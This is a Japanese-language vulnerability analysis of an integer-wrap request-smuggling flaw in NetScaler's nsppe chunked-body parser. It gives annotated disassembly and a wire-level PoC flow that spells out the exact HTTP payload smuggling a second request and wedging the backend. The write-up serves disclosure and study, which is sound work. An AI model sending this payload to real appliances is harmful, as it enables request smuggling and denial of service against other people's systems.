
NetScaler nsppe の HTTP/1.1 チャンクサイズ整数ラップによるリクエストスマグリング脆弱性に関する技術分析。逆アセンブリ、ワイヤーレベルの PoC フロー、ファームウェアパッチの差分を含む。
nsppeのHTTP/1.1チャンクボディパーサーは、チャンクサイズフィールドを32ビットレジスタに読み込み、オーバーフローのチェックを一切行いません。16進数が9桁以上になると、値は静かにラップアラウンドします。100000005(2^32 + 5)は、チャンクサイズ5として消費されます。
これは一見おかしなパーサーバグにすぎませんが、NetScalerがボディをどう扱うかを思い出すと話が変わってきます。NetScalerはクライアントのチャンクフレーミングをそのままバックエンドへ転送しますが、リクエストの終端をどこにするかは自身のラップアラウンドした値で判断します。つまりプロキシは、ボディの5バイト後にリクエスト#1が完了したと信じる一方、同じバイト列を正しく読むバックエンドは4,294,967,301と計算し、決して到着しない4 GBのボディを待ち続けることになります。2台のマシン、1つのバイトストリーム、リクエストの終端位置に関する2つの異なる見解。
NetScalerの考える「終端」より後にあるものはすべて、同じクライアント接続上の新しいパイプライン化されたリクエストとして再分類され、共有されたプロキシ-バックエンド間接続上で独立して転送されます。
結果がどうなるかは、バックエンド自身のパーサー次第です:
認証不要のリクエスト1つ。デフォルト設定。HTTP vserverに到達できる以外の前提条件はありません。
パーサーの役割は単純です。1a3f\r\nのようなチャンクサイズ行を数値に変換します。rdiのバッファとesiのその長さを受け取り、16進数の値を*rdxの32ビットスロットに累積し(入出力兼用なので、サイズが2つのパケットに分割されても問題なく再開できます)、空白をスキップし、末尾の\r\nを要求します。戻り値は消費したバイト数、0は「データ不足」、-1は不正な形式を意味します。
ループ全体は、バグを肉眼で確認できるほど小さいものです:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d はアキュムレータであり、32 ビット幅です。各桁は value <<= 4; value += digit を実行します。桁カウンタも、桁数上限も、オーバーフローチェックも、ループ内の jo も一切ありません。9 桁目でエラーになることはなく、数値の上位ビットがレジスタの端からはみ出して消えますが、誰も気づきません。0x100000005 & 0xffffffff = 5 となり、パーサーはこれに完全に満足してしまいます。
下流には健全性チェックがちょうど 1 つだけ存在し、それがほとんど詩的なまでに間違っています。デチャンクドライバ(sub_20af6b0、呼び出し箇所 0x20af719 / 0x20af9fb、サイズは [r12+0x344] に格納)は、累積値に対して符号テストを適用します。少し考えてみてください。捕捉されるラップは、負の半分 [0x80000000, 0xffffffff] に着地するものだけです。ラップしたサイズの下位 32 ビットが 0x80000000 未満になる場合、それは完全に正常なチャンクサイズとして素通りします。0x100000005 が 5 にラップするのは典型的なケースであり、ラップされ、見逃され、そして壊滅的な結果をもたらします。
このパケットがスマグルになるのは、NetScaler がボディを扱う際の 1 つの設計判断によるものです。NetScaler はクライアントのチャンクフレーミングをバイト単位でそのままバックエンドに転送する一方で、クライアントのリクエストがどこで終わるかを決める際には、自身の(ラップした)フレーミング解釈を使用します。
その結果、NetScaler はリクエスト #1 をボディ 5 バイトで終了させ、残りの 37 バイトを 2 番目のパイプライン化されたリクエストとしてキューに入れます。一方バックエンドは、算術を正しく行い、100000005 を 4,294,967,301 と解釈して、リクエスト #1 のボディを待ち続けます。この時点から、両方のマシンは同じストリームを読みながら、異なる世界に生きていることになります。
どちらの世界に陥るかはバックエンド次第です。
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |